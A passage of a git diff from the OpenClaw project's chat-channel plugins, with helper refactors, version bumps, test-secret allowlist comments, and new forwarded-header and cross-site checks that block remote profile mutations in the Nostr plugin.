b/extensions/nextcloud-talk/src/inbound.authz.test.ts index 188820eeb6d..f19fa73e020 100644 --- a/extensions/nextcloud-talk/src/inbound.authz.test.ts +++ b/extensions/nextcloud-talk/src/inbound.authz.test.ts @@ -45,7 +45,7 @@ describe("nextcloud-talk inbound authz", () => { enabled: true, baseUrl: "", secret: "", - secretSource: "none", + secretSource: "none", // pragma: allowlist secret config: { dmPolicy: "pairing", allowFrom: [], diff --git a/extensions/nextcloud-talk/src/inbound.ts b/extensions/nextcloud-talk/src/inbound.ts index 3b0addf257d..1657cbd9113 100644 --- a/extensions/nextcloud-talk/src/inbound.ts +++ b/extensions/nextcloud-talk/src/inbound.ts @@ -1,8 +1,7 @@ import { GROUP_POLICY_BLOCKED_LABEL, createScopedPairingAccess, - createNormalizedOutboundDeliverer, - createReplyPrefixOptions, + dispatchInboundReplyWithBase, formatTextWithAttachmentLinks, logInboundDrop, readStoreAllowFromForDmPolicy, @@ -291,43 +290,30 @@ export async function handleNextcloudTalkInbound(params: { CommandAuthorized: commandAuthorized, }); - await core.channel.session.recordInboundSession({ + await dispatchInboundReplyWithBase({ + cfg: config as OpenClawConfig, + channel: CHANNEL_ID, + accountId: account.accountId, + route, storePath, - sessionKey: ctxPayload.SessionKey ?? route.sessionKey, - ctx: ctxPayload, + ctxPayload, + core, + deliver: async (payload) => { + await deliverNextcloudTalkReply({ + payload, + roomToken, + accountId: account.accountId, + statusSink, + }); + }, onRecordError: (err) => { runtime.error?.(`nextcloud-talk: failed updating session meta: ${String(err)}`); }, - }); - - const { onModelSelected, ...prefixOptions } = createReplyPrefixOptions({ - cfg: config as OpenClawConfig, - agentId: route.agentId, - channel: CHANNEL_ID, - accountId: account.accountId, - }); - const deliverReply = createNormalizedOutboundDeliverer(async (payload) => { - await deliverNextcloudTalkReply({ - payload, - roomToken, - accountId: account.accountId, - statusSink, - }); - }); - - await core.channel.reply.dispatchReplyWithBufferedBlockDispatcher({ - ctx: ctxPayload, - cfg: config as OpenClawConfig, - dispatcherOptions: { - ...prefixOptions, - deliver: deliverReply, - onError: (err, info) => { - runtime.error?.(`nextcloud-talk ${info.kind} reply failed: ${String(err)}`); - }, + onDispatchError: (err, info) => { + runtime.error?.(`nextcloud-talk ${info.kind} reply failed: ${String(err)}`); }, replyOptions: { skillFilter: roomConfig?.skills, - onModelSelected, disableBlockStreaming: typeof account.config.blockStreaming === "boolean" ? !account.config.blockStreaming diff --git a/extensions/nextcloud-talk/src/monitor.test-fixtures.ts b/extensions/nextcloud-talk/src/monitor.test-fixtures.ts index 21d41976c98..1a65a1b25e6 100644 --- a/extensions/nextcloud-talk/src/monitor.test-fixtures.ts +++ b/extensions/nextcloud-talk/src/monitor.test-fixtures.ts @@ -16,7 +16,7 @@ export function createSignedCreateMessageRequest(params?: { backend?: string }) const body = JSON.stringify(payload); const { random, signature } = generateNextcloudTalkSignature({ body, - secret: "nextcloud-secret", + secret: "nextcloud-secret", // pragma: allowlist secret }); return { body, diff --git a/extensions/nextcloud-talk/src/onboarding.ts b/extensions/nextcloud-talk/src/onboarding.ts index 1f07ce48162..71d904c7a0e 100644 --- a/extensions/nextcloud-talk/src/onboarding.ts +++ b/extensions/nextcloud-talk/src/onboarding.ts @@ -43,6 +43,45 @@ function setNextcloudTalkDmPolicy(cfg: CoreConfig, dmPolicy: DmPolicy): CoreConf } as CoreConfig; } +function setNextcloudTalkAccountConfig( + cfg: CoreConfig, + accountId: string, + updates: Record, +): CoreConfig { + if (accountId === DEFAULT_ACCOUNT_ID) { + return { + ...cfg, + channels: { + ...cfg.channels, + "nextcloud-talk": { + ...cfg.channels?.["nextcloud-talk"], + enabled: true, + ...updates, + }, + }, + }; + } + + return { + ...cfg, + channels: { + ...cfg.channels, + "nextcloud-talk": { + ...cfg.channels?.["nextcloud-talk"], + enabled: true, + accounts: { + ...cfg.channels?.["nextcloud-talk"]?.accounts, + [accountId]: { + ...cfg.channels?.["nextcloud-talk"]?.accounts?.[accountId], + enabled: cfg.channels?.["nextcloud-talk"]?.accounts?.[accountId]?.enabled ?? true, + ...updates, + }, + }, + }, + }, + }; +} + async function noteNextcloudTalkSecretHelp(prompter: WizardPrompter): Promise { await prompter.note( [ @@ -105,40 +144,10 @@ async function promptNextcloudTalkAllowFrom(params: { ]; const unique = mergeAllowFromEntries(undefined, merged); - if (accountId === DEFAULT_ACCOUNT_ID) { - return { - ...cfg, - channels: { - ...cfg.channels, - "nextcloud-talk": { - ...cfg.channels?.["nextcloud-talk"], - enabled: true, - dmPolicy: "allowlist", - allowFrom: unique, - }, - }, - }; - } - - return { - ...cfg, - channels: { - ...cfg.channels, - "nextcloud-talk": { - ...cfg.channels?.["nextcloud-talk"], - enabled: true, - accounts: { - ...cfg.channels?.["nextcloud-talk"]?.accounts, - [accountId]: { - ...cfg.channels?.["nextcloud-talk"]?.accounts?.[accountId], - enabled: cfg.channels?.["nextcloud-talk"]?.accounts?.[accountId]?.enabled ?? true, - dmPolicy: "allowlist", - allowFrom: unique, - }, - }, - }, - }, - }; + return setNextcloudTalkAccountConfig(cfg, accountId, { + dmPolicy: "allowlist", + allowFrom: unique, + }); } async function promptNextcloudTalkAllowFromForAccount(params: { @@ -265,41 +274,10 @@ export const nextcloudTalkOnboardingAdapter: ChannelOnboardingAdapter = { } if (secretResult.action === "use-env" || secret || baseUrl !== resolvedAccount.baseUrl) { - if (accountId === DEFAULT_ACCOUNT_ID) { - next = { - ...next, - channels: { - ...next.channels, - "nextcloud-talk": { - ...next.channels?.["nextcloud-talk"], - enabled: true, - baseUrl, - ...(secret ? { botSecret: secret } : {}), - }, - }, - }; - } else { - next = { - ...next, - channels: { - ...next.channels, - "nextcloud-talk": { - ...next.channels?.["nextcloud-talk"], - enabled: true, - accounts: { - ...next.channels?.["nextcloud-talk"]?.accounts, - [accountId]: { - ...next.channels?.["nextcloud-talk"]?.accounts?.[accountId], - enabled: - next.channels?.["nextcloud-talk"]?.accounts?.[accountId]?.enabled ?? true, - baseUrl, - ...(secret ? { botSecret: secret } : {}), - }, - }, - }, - }, - }; - } + next = setNextcloudTalkAccountConfig(next, accountId, { + baseUrl, + ...(secret ? { botSecret: secret } : {}), + }); } const existingApiUser = resolvedAccount.config.apiUser?.trim(); @@ -333,41 +311,10 @@ export const nextcloudTalkOnboardingAdapter: ChannelOnboardingAdapter = { preferredEnvVar: "NEXTCLOUD_TALK_API_PASSWORD", }); const apiPassword = apiPasswordResult.action === "set" ? apiPasswordResult.value : undefined; - if (accountId === DEFAULT_ACCOUNT_ID) { - next = { - ...next, - channels: { - ...next.channels, - "nextcloud-talk": { - ...next.channels?.["nextcloud-talk"], - enabled: true, - apiUser, - ...(apiPassword ? { apiPassword } : {}), - }, - }, - }; - } else { - next = { - ...next, - channels: { - ...next.channels, - "nextcloud-talk": { - ...next.channels?.["nextcloud-talk"], - enabled: true, - accounts: { - ...next.channels?.["nextcloud-talk"]?.accounts, - [accountId]: { - ...next.channels?.["nextcloud-talk"]?.accounts?.[accountId], - enabled: - next.channels?.["nextcloud-talk"]?.accounts?.[accountId]?.enabled ?? true, - apiUser, - ...(apiPassword ? { apiPassword } : {}), - }, - }, - }, - }, - }; - } + next = setNextcloudTalkAccountConfig(next, accountId, { + apiUser, + ...(apiPassword ? { apiPassword } : {}), + }); } if (forceAllowFrom) { diff --git a/extensions/nextcloud-talk/src/secret-input.ts b/extensions/nextcloud-talk/src/secret-input.ts index f51a0ad6872..d26cb8e4e23 100644 --- a/extensions/nextcloud-talk/src/secret-input.ts +++ b/extensions/nextcloud-talk/src/secret-input.ts @@ -1,19 +1,13 @@ import { + buildSecretInputSchema, hasConfiguredSecretInput, normalizeResolvedSecretInputString, normalizeSecretInputString, } from "openclaw/plugin-sdk/nextcloud-talk"; -import { z } from "zod"; -export { hasConfiguredSecretInput, normalizeResolvedSecretInputString, normalizeSecretInputString }; - -export function buildSecretInputSchema() { - return z.union([ - z.string(), - z.object({ - source: z.enum(["env", "file", "exec"]), - provider: z.string().min(1), - id: z.string().min(1), - }), - ]); -} +export { + buildSecretInputSchema, + hasConfiguredSecretInput, + normalizeResolvedSecretInputString, + normalizeSecretInputString, +}; diff --git a/extensions/nextcloud-talk/src/send.test.ts b/extensions/nextcloud-talk/src/send.test.ts index 3933b13de5a..88133f9cbed 100644 --- a/extensions/nextcloud-talk/src/send.test.ts +++ b/extensions/nextcloud-talk/src/send.test.ts @@ -8,7 +8,7 @@ const hoisted = vi.hoisted(() => ({ resolveNextcloudTalkAccount: vi.fn(() => ({ accountId: "default", baseUrl: "https://nextcloud.example.com", - secret: "secret-value", + secret: "secret-value", // pragma: allowlist secret })), generateNextcloudTalkSignature: vi.fn(() => ({ random: "r", diff --git a/extensions/nostr/CHANGELOG.md b/extensions/nostr/CHANGELOG.md index 2a46a9a932a..f7755ac2933 100644 --- a/extensions/nostr/CHANGELOG.md +++ b/extensions/nostr/CHANGELOG.md @@ -1,5 +1,17 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/nostr/package.json b/extensions/nostr/package.json index 4341ab6a944..a45bbf49927 100644 --- a/extensions/nostr/package.json +++ b/extensions/nostr/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/nostr", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw Nostr channel plugin for NIP-04 encrypted DMs", "type": "module", "dependencies": { diff --git a/extensions/nostr/src/channel.outbound.test.ts b/extensions/nostr/src/channel.outbound.test.ts index 96f2f29b46b..0aa63485951 100644 --- a/extensions/nostr/src/channel.outbound.test.ts +++ b/extensions/nostr/src/channel.outbound.test.ts @@ -51,8 +51,8 @@ describe("nostr outbound cfg threading", () => { accountId: "default", enabled: true, configured: true, - privateKey: "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef", - publicKey: "abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789", + privateKey: "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef", // pragma: allowlist secret + publicKey: "abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789", // pragma: allowlist secret relays: ["wss://relay.example.com"], config: {}, }, @@ -63,7 +63,7 @@ describe("nostr outbound cfg threading", () => { const cfg = { channels: { nostr: { - privateKey: "resolved-nostr-private-key", + privateKey: "resolved-nostr-private-key", // pragma: allowlist secret }, }, }; diff --git a/extensions/nostr/src/nostr-profile-http.test.ts b/extensions/nostr/src/nostr-profile-http.test.ts index 7d5968a961d..8fb17c443f4 100644 --- a/extensions/nostr/src/nostr-profile-http.test.ts +++ b/extensions/nostr/src/nostr-profile-http.test.ts @@ -283,6 +283,36 @@ describe("nostr-profile-http", () => { expect(res._getStatusCode()).toBe(403); }); + it("rejects profile mutation with cross-site sec-fetch-site header", async () => { + const ctx = createMockContext(); + const handler = createNostrProfileHttpHandler(ctx); + const req = createMockRequest( + "PUT", + "/api/channels/nostr/default/profile", + { name: "attacker" }, + { headers: { "sec-fetch-site": "cross-site" } }, + ); + const res = createMockResponse(); + + await handler(req, res); + expect(res._getStatusCode()).toBe(403); + }); + + it("rejects profile mutation when forwarded client ip is non-loopback", async () => { + const ctx = createMockContext(); + const handler = createNostrProfileHttpHandler(ctx); + const req = createMockRequest( + "PUT", + "/api/channels/nostr/default/profile", + { name: "attacker" }, + { headers: { "x-forwarded-for": "203.0.113.99, 127.0.0.1" } }, + ); + const res = createMockResponse(); + + await handler(req, res); + expect(res._getStatusCode()).toBe(403); + }); + it("rejects private IP in picture URL (SSRF protection)", async () => { await expectPrivatePictureRejected("https://127.0.0.1/evil.jpg"); }); @@ -431,6 +461,21 @@ describe("nostr-profile-http", () => { expect(res._getStatusCode()).toBe(403); }); + it("rejects import mutation when x-real-ip is non-loopback", async () => { + const ctx = createMockContext(); + const handler = createNostrProfileHttpHandler(ctx); + const req = createMockRequest( + "POST", + "/api/channels/nostr/default/profile/import", + {}, + { headers: { "x-real-ip": "198.51.100.55" } }, + ); + const res = createMockResponse(); + + await handler(req, res); + expect(res._getStatusCode()).toBe(403); + }); + it("auto-merges when requested", async () => { const ctx = createMockContext({ getConfigProfile: vi.fn().mockReturnValue({ about: "local bio" }), diff --git a/extensions/nostr/src/nostr-profile-http.ts b/extensions/nostr/src/nostr-profile-http.ts index b4d53e16a4e..3dedf745125 100644 --- a/extensions/nostr/src/nostr-profile-http.ts +++ b/extensions/nostr/src/nostr-profile-http.ts @@ -224,6 +224,51 @@ function isLoopbackOriginLike(value: string): boolean { } } +function firstHeaderValue(value: string | string[] | undefined): string | undefined { + if (Array.isArray(value)) { + return value[0]; + } + return typeof value === "string" ? value : undefined; +} + +function normalizeIpCandidate(raw: string): string { + const unquoted = raw.trim().replace(/^"|"$/g, ""); + const bracketedWithOptionalPort = unquoted.match(/^\[([^[\]]+)\](?::\d+)?$/); + if (bracketedWithOptionalPort) { + return bracketedWithOptionalPort[1] ?? ""; + } + const ipv4WithPort = unquoted.match(/^(\d+\.\d+\.\d+\.\d+):\d+$/); + if (ipv4WithPort) { + return ipv4WithPort[1] ?? ""; + } + return unquoted; +} + +function hasNonLoopbackForwardedClient(req: IncomingMessage): boolean { + const forwardedFor = firstHeaderValue(req.headers["x-forwarded-for"]); + if (forwardedFor) { + for (const hop of forwardedFor.split(",")) { + const candidate = normalizeIpCandidate(hop); + if (!candidate) { + continue; + } + if (!isLoopbackRemoteAddress(candidate)) { + return true; + } + } + } + + const realIp = firstHeaderValue(req.headers["x-real-ip"]); + if (realIp) { + const candidate = normalizeIpCandidate(realIp); + if (candidate && !isLoopbackRemoteAddress(candidate)) { + return true; + } + } + + return false; +} + function enforceLoopbackMutationGuards( ctx: NostrProfileHttpContext, req: IncomingMessage, @@ -237,15 +282,30 @@ function enforceLoopbackMutationGuards( return false; } + // If a proxy exposes client-origin headers showing a non-loopback client, + // treat this as a remote request and deny mutation. + if (hasNonLoopbackForwardedClient(req)) { + ctx.log?.warn?.("Rejected mutation with non-loopback forwarded client headers"); + sendJson(res, 403, { ok: false, error: "Forbidden" }); + return false; + } + + const secFetchSite = firstHeaderValue(req.headers["sec-fetch-site"])?.trim().toLowerCase(); + if (secFetchSite === "cross-site") { + ctx.log?.warn?.("Rejected mutation with cross-site sec-fetch-site header"); + sendJson(res, 403, { ok: false, error: "Forbidden" }); + return false; + } + // CSRF guard: browsers send Origin/Referer on cross-site requests. - const origin = req.headers.origin; + const origin = firstHeaderValue(req.headers.origin); if (typeof origin === "string" && !isLoopbackOriginLike(origin)) { ctx.log?.warn?.(`Rejected mutation with non-loopback origin=${origin}`); sendJson(res, 403, { ok: false, error: "Forbidden" }); return false; } - const referer = req.headers.referer ?? req.headers.referrer; + const referer = firstHeaderValue(req.headers.referer ?? req.headers.referrer); if (typeof referer === "string" && !isLoopbackOriginLike(referer)) { ctx.log?.warn?.(`Rejected mutation with non-loopback referer=${referer}`); sendJson(res, 403, { ok: false, error: "Forbidden" }); diff --git a/extensions/open-prose/package.json b/extensions/open-prose/package.json index 2761247d6ec..d9ef7626717 100644 --- a/extensions/open-prose/package.json +++ b/extensions/open-prose/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/open-prose", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenProse VM skill pack plugin (slash command + telemetry).", "type": "module", diff --git a/extensions/phone-control/index.test.ts b/extensions/phone-control/index.test.ts index a4d05e3d431..9259092b153 100644 --- a/extensions/phone-control/index.test.ts +++ b/extensions/phone-control/index.test.ts @@ -39,6 +39,7 @@ function createApi(params: { registerCli() {}, registerService() {}, registerProvider() {}, + registerContextEngine() {}, registerCommand: params.registerCommand, resolvePath(input: string) { return input; diff --git a/extensions/qwen-portal-auth/index.ts b/extensions/qwen-portal-auth/index.ts index c592c0e223c..643663c1ffa 100644 --- a/extensions/qwen-portal-auth/index.ts +++ b/extensions/qwen-portal-auth/index.ts @@ -1,4 +1,5 @@ import { + buildOauthProviderAuthResult, emptyPluginConfigSchema, type OpenClawPluginApi, type ProviderAuthContext, @@ -63,22 +64,14 @@ const qwenPortalPlugin = { progress.stop("Qwen OAuth complete"); - const profileId = `${PROVIDER_ID}:default`; const baseUrl = normalizeBaseUrl(result.resourceUrl); - return { - profiles: [ - { - profileId, - credential: { - type: "oauth", - provider: PROVIDER_ID, - access: result.access, - refresh: result.refresh, - expires: result.expires, - }, - }, - ], + return buildOauthProviderAuthResult({ + providerId: PROVIDER_ID, + defaultModel: DEFAULT_MODEL, + access: result.access, + refresh: result.refresh, + expires: result.expires, configPatch: { models: { providers: { @@ -110,12 +103,11 @@ const qwenPortalPlugin = { }, }, }, - defaultModel: DEFAULT_MODEL, notes: [ "Qwen OAuth tokens auto-refresh. Re-run login if refresh fails or access is revoked.", `Base URL defaults to ${DEFAULT_BASE_URL}. Override models.providers.${PROVIDER_ID}.baseUrl if needed.`, ], - }; + }); } catch (err) { progress.stop("Qwen OAuth failed"); await ctx.prompter.note( diff --git a/extensions/signal/package.json b/extensions/signal/package.json index 8b12eda9a6b..d2e7a368b46 100644 --- a/extensions/signal/package.json +++ b/extensions/signal/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/signal", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw Signal channel plugin", "type": "module", diff --git a/extensions/slack/package.json b/extensions/slack/package.json index d686cab2097..49d217fb820 100644 --- a/extensions/slack/package.json +++ b/extensions/slack/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/slack", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw Slack channel plugin", "type": "module", diff --git a/extensions/slack/src/channel.test.ts b/extensions/slack/src/channel.test.ts index 2d4efa3f956..ad6860d6f8d 100644 --- a/extensions/slack/src/channel.test.ts +++ b/extensions/slack/src/channel.test.ts @@ -144,7 +144,7 @@ describe("slackPlugin config", () => { slack: { mode: "http", botToken: "xoxb-http", - signingSecret: "secret-http", + signingSecret: "secret-http", // pragma: allowlist secret }, }, }; @@ -214,9 +214,9 @@ describe("slackPlugin config", () => { configured: true, mode: "http", botTokenStatus: "available", - signingSecretStatus: "configured_unavailable", + signingSecretStatus: "configured_unavailable", // pragma: allowlist secret botTokenSource: "config", - signingSecretSource: "config", + signingSecretSource: "config", // pragma: allowlist secret config: { mode: "http", botToken: "xoxb-http", diff --git a/extensions/synology-chat/package.json b/extensions/synology-chat/package.json index a5268191fd0..3ac854c14f0 100644 --- a/extensions/synology-chat/package.json +++ b/extensions/synology-chat/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/synology-chat", - "version": "2026.3.2", + "version": "2026.3.7", "description": "Synology Chat channel plugin for OpenClaw", "type": "module", "dependencies": { diff --git a/extensions/synology-chat/src/channel.test.ts b/extensions/synology-chat/src/channel.test.ts index 713ecf7f8c3..4e3be192f39 100644 --- a/extensions/synology-chat/src/channel.test.ts +++ b/extensions/synology-chat/src/channel.test.ts @@ -317,20 +317,11 @@ describe("createSynologyChatPlugin", () => { }); describe("gateway", () => { - it("startAccount returns pending promise for disabled account", async () => { - const plugin = createSynologyChatPlugin(); - const abortController = new AbortController(); - const ctx = { - cfg: { - channels: { "synology-chat": { enabled: false } }, - }, - accountId: "default", - log: { info: vi.fn(), warn: vi.fn(), error: vi.fn() }, - abortSignal: abortController.signal, - }; - const result = plugin.gateway.startAccount(ctx); + async function expectPendingStartAccountPromise( + result: Promise, + abortController: AbortController, + ) { expect(result).toBeInstanceOf(Promise); - // Promise should stay pending (never resolve) to prevent restart loop const resolved = await Promise.race([ result, new Promise((r) => setTimeout(() => r("pending"), 50)), @@ -338,29 +329,29 @@ describe("createSynologyChatPlugin", () => { expect(resolved).toBe("pending"); abortController.abort(); await result; + } + + async function expectPendingStartAccount(accountConfig: Record) { + const plugin = createSynologyChatPlugin(); + const abortController = new AbortController(); + const ctx = { + cfg: { + channels: { "synology-chat": accountConfig }, + }, + accountId: "default", + log: { info: vi.fn(), warn: vi.fn(), error: vi.fn() }, + abortSignal: abortController.signal, + }; + const result = plugin.gateway.startAccount(ctx); + await expectPendingStartAccountPromise(result, abortController); + } + + it("startAccount returns pending promise for disabled account", async () => { + await expectPendingStartAccount({ enabled: false }); }); it("startAccount returns pending promise for account without token", async () => { - const plugin = createSynologyChatPlugin(); - const abortController = new AbortController(); - const ctx = { - cfg: { - channels: { "synology-chat": { enabled: true } }, - }, - accountId: "default", - log: { info: vi.fn(), warn: vi.fn(), error: vi.fn() }, - abortSignal: abortController.signal, - }; - const result = plugin.gateway.startAccount(ctx); - expect(result).toBeInstanceOf(Promise); - // Promise should stay pending (never resolve) to prevent restart loop - const resolved = await Promise.race([ - result, - new Promise((r) => setTimeout(() => r("pending"), 50)), - ]); - expect(resolved).toBe("pending"); - abortController.abort(); - await result; + await expectPendingStartAccount({ enabled: true }); }); it("startAccount refuses allowlist accounts with empty allowedUserIds", async () => { @@ -387,16 +378,9 @@ describe("createSynologyChatPlugin", () => { }; const result = plugin.gateway.startAccount(ctx); - expect(result).toBeInstanceOf(Promise); - const resolved = await Promise.race([ - result, - new Promise((r) => setTimeout(() => r("pending"), 50)), - ]); - expect(resolved).toBe("pending"); + await expectPendingStartAccountPromise(result, abortController); expect(ctx.log.warn).toHaveBeenCalledWith(expect.stringContaining("empty allowedUserIds")); expect(registerMock).not.toHaveBeenCalled(); - abortController.abort(); - await result; }); it("deregisters stale route before re-registering same account/path", async () => { diff --git a/extensions/synology-chat/src/channel.ts b/extensions/synology-chat/src/channel.ts index 81ef191ba77..d84516dbda5 100644 --- a/extensions/synology-chat/src/channel.ts +++ b/extensions/synology-chat/src/channel.ts @@ -282,7 +282,7 @@ export function createSynologyChatPlugin() { Surface: CHANNEL_ID, ConversationLabel: msg.senderName || msg.from, Timestamp: Date.now(), - CommandAuthorized: true, + CommandAuthorized: msg.commandAuthorized, }); // Dispatch via the SDK's buffered block dispatcher diff --git a/extensions/synology-chat/src/client.test.ts b/extensions/synology-chat/src/client.test.ts index ef5ff06beb7..416412f0408 100644 --- a/extensions/synology-chat/src/client.test.ts +++ b/extensions/synology-chat/src/client.test.ts @@ -118,26 +118,21 @@ describe("sendFileUrl", () => { function mockUserListResponse( users: Array<{ user_id: number; username: string; nickname: string }>, ) { - const httpsGet = vi.mocked((https as any).get); - httpsGet.mockImplementation((_url: any, _opts: any, callback: any) => { - const res = new EventEmitter() as any; - res.statusCode = 200; - process.nextTick(() => { - callback(res); - res.emit("data", Buffer.from(JSON.stringify({ success: true, data: { users } }))); - res.emit("end"); - }); - const req = new EventEmitter() as any; - req.destroy = vi.fn(); - return req; - }); + mockUserListResponseImpl(users, false); } function mockUserListResponseOnce( users: Array<{ user_id: number; username: string; nickname: string }>, +) { + mockUserListResponseImpl(users, true); +} + +function mockUserListResponseImpl( + users: Array<{ user_id: number; username: string; nickname: string }>, + once: boolean, ) { const httpsGet = vi.mocked((https as any).get); - httpsGet.mockImplementationOnce((_url: any, _opts: any, callback: any) => { + const impl = (_url: any, _opts: any, callback: any) => { const res = new EventEmitter() as any; res.statusCode = 200; process.nextTick(() => { @@ -148,7 +143,12 @@ function mockUserListResponseOnce( const req = new EventEmitter() as any; req.destroy = vi.fn(); return req; - }); + }; + if (once) { + httpsGet.mockImplementationOnce(impl); + return; + } + httpsGet.mockImplementation(impl); } describe("resolveChatUserId", () => { diff --git a/extensions/synology-chat/src/webhook-handler.test.ts b/extensions/synology-chat/src/webhook-handler.test.ts index 2f6bd87788a..37ee566e6a6 100644 --- a/extensions/synology-chat/src/webhook-handler.test.ts +++ b/extensions/synology-chat/src/webhook-handler.test.ts @@ -237,6 +237,7 @@ describe("createWebhookHandler", () => { body: "Hello from json", from: "123", senderName: "json-user", + commandAuthorized: true, }), ); }); @@ -396,6 +397,7 @@ describe("createWebhookHandler", () => { senderName: "testuser", provider: "synology-chat", chatType: "direct", + commandAuthorized: true, }), ); }); @@ -422,6 +424,7 @@ describe("createWebhookHandler", () => { expect(deliver).toHaveBeenCalledWith( expect.objectContaining({ body: expect.stringContaining("[FILTERED]"), + commandAuthorized: true, }), ); }); diff --git a/extensions/synology-chat/src/webhook-handler.ts b/extensions/synology-chat/src/webhook-handler.ts index fab4b9a0238..b4c73934db9 100644 --- a/extensions/synology-chat/src/webhook-handler.ts +++ b/extensions/synology-chat/src/webhook-handler.ts @@ -225,6 +225,7 @@ export interface WebhookHandlerDeps { chatType: string; sessionKey: string; accountId: string; + commandAuthorized: boolean; /** Chat API user_id for sending replies (may differ from webhook user_id) */ chatUserId?: string; }) => Promise; @@ -364,6 +365,7 @@ export function createWebhookHandler(deps: WebhookHandlerDeps) { chatType: "direct", sessionKey, accountId: account.accountId, + commandAuthorized: auth.allowed, chatUserId: replyUserId, }); diff --git a/extensions/telegram/package.json b/extensions/telegram/package.json index 50438e9a5f8..f000bd126f6 100644 --- a/extensions/telegram/package.json +++ b/extensions/telegram/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/telegram", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw Telegram channel plugin", "type": "module", diff --git a/extensions/telegram/src/channel.test.ts b/extensions/telegram/src/channel.test.ts index 5f755a7284b..1f40a5f1cce 100644 --- a/extensions/telegram/src/channel.test.ts +++ b/extensions/telegram/src/channel.test.ts @@ -52,6 +52,25 @@ function createStartAccountCtx(params: { }; } +function installGatewayRuntime(params?: { probeOk?: boolean; botUsername?: string }) { + const monitorTelegramProvider = vi.fn(async () => undefined); + const probeTelegram = vi.fn(async () => + params?.probeOk ? { ok: true, bot: { username: params.botUsername ?? "bot" } } : { ok: false }, + ); + setTelegramRuntime({ + channel: { + telegram: { + monitorTelegramProvider, + probeTelegram, + }, + }, + logging: { + shouldLogVerbose: () => false, + }, + } as unknown as PluginRuntime); + return { monitorTelegramProvider, probeTelegram }; +} + describe("telegramPlugin duplicate token guard", () => { it("marks secondary account as not configured when token is shared", async () => { const cfg = createCfg(); @@ -84,20 +103,7 @@ describe("telegramPlugin duplicate token guard", () => { }); it("blocks startup for duplicate token accounts before polling starts", async () => { - const monitorTelegramProvider = vi.fn(async () => undefined); - const probeTelegram = vi.fn(async () => ({ ok: true, bot: { username: "bot" } })); - const runtime = { - channel: { - telegram: { - monitorTelegramProvider, - probeTelegram, - }, - }, - logging: { - shouldLogVerbose: () => false, - }, - } as unknown as PluginRuntime; - setTelegramRuntime(runtime); + const { monitorTelegramProvider, probeTelegram } = installGatewayRuntime({ probeOk: true }); await expect( telegramPlugin.gateway!.startAccount!( @@ -114,26 +120,16 @@ describe("telegramPlugin duplicate token guard", () => { }); it("passes webhookPort through to monitor startup options", async () => { - const monitorTelegramProvider = vi.fn(async () => undefined); - const probeTelegram = vi.fn(async () => ({ ok: true, bot: { username: "opsbot" } })); - const runtime = { - channel: { - telegram: { - monitorTelegramProvider, - probeTelegram, - }, - }, - logging: { - shouldLogVerbose: () => false, - }, - } as unknown as PluginRuntime; - setTelegramRuntime(runtime); + const { monitorTelegramProvider } = installGatewayRuntime({ + probeOk: true, + botUsername: "opsbot", + }); const cfg = createCfg(); cfg.channels!.telegram!.accounts!.ops = { ...cfg.channels!.telegram!.accounts!.ops, webhookUrl: "https://example.test/telegram-webhook", - webhookSecret: "secret", + webhookSecret: "secret", // pragma: allowlist secret webhookPort: 9876, }; @@ -192,20 +188,7 @@ describe("telegramPlugin duplicate token guard", () => { }); it("does not crash startup when a resolved account token is undefined", async () => { - const monitorTelegramProvider = vi.fn(async () => undefined); - const probeTelegram = vi.fn(async () => ({ ok: false })); - const runtime = { - channel: { - telegram: { - monitorTelegramProvider, - probeTelegram, - }, - }, - logging: { - shouldLogVerbose: () => false, - }, - } as unknown as PluginRuntime; - setTelegramRuntime(runtime); + const { monitorTelegramProvider } = installGatewayRuntime({ probeOk: false }); const cfg = createCfg(); const ctx = createStartAccountCtx({ diff --git a/extensions/telegram/src/channel.ts b/extensions/telegram/src/channel.ts index f7c2ad16328..ccb22dab55b 100644 --- a/extensions/telegram/src/channel.ts +++ b/extensions/telegram/src/channel.ts @@ -2,6 +2,7 @@ import { applyAccountNameToChannelSection, buildChannelConfigSchema, buildTokenChannelStatusSummary, + clearAccountEntryFields, collectTelegramStatusIssues, DEFAULT_ACCOUNT_ID, deleteAccountFromConfigSection, @@ -519,36 +520,20 @@ export const telegramPlugin: ChannelPlugin; - if ("botToken" in nextEntry) { - const token = nextEntry.botToken; - if (typeof token === "string" ? token.trim() : token) { - cleared = true; - } - delete nextEntry.botToken; - changed = true; - } - if (Object.keys(nextEntry).length === 0) { - delete accounts[accountId]; - changed = true; - } else { - accounts[accountId] = nextEntry as typeof entry; - } + const accountCleanup = clearAccountEntryFields({ + accounts: nextTelegram.accounts, + accountId, + fields: ["botToken"], + }); + if (accountCleanup.changed) { + changed = true; + if (accountCleanup.cleared) { + cleared = true; } - } - if (accounts) { - if (Object.keys(accounts).length === 0) { - delete nextTelegram.accounts; - changed = true; + if (accountCleanup.nextAccounts) { + nextTelegram.accounts = accountCleanup.nextAccounts; } else { - nextTelegram.accounts = accounts; + delete nextTelegram.accounts; } } } diff --git a/extensions/test-utils/plugin-runtime-mock.ts b/extensions/test-utils/plugin-runtime-mock.ts index f01c87d6c77..0526c6bf591 100644 --- a/extensions/test-utils/plugin-runtime-mock.ts +++ b/extensions/test-utils/plugin-runtime-mock.ts @@ -242,6 +242,13 @@ export function createPluginRuntimeMock(overrides: DeepPartial = state: { resolveStateDir: vi.fn(() => "/tmp/openclaw"), }, + subagent: { + run: vi.fn(), + waitForRun: vi.fn(), + getSessionMessages: vi.fn(), + getSession: vi.fn(), + deleteSession: vi.fn(), + }, }; return mergeDeep(base, overrides); diff --git 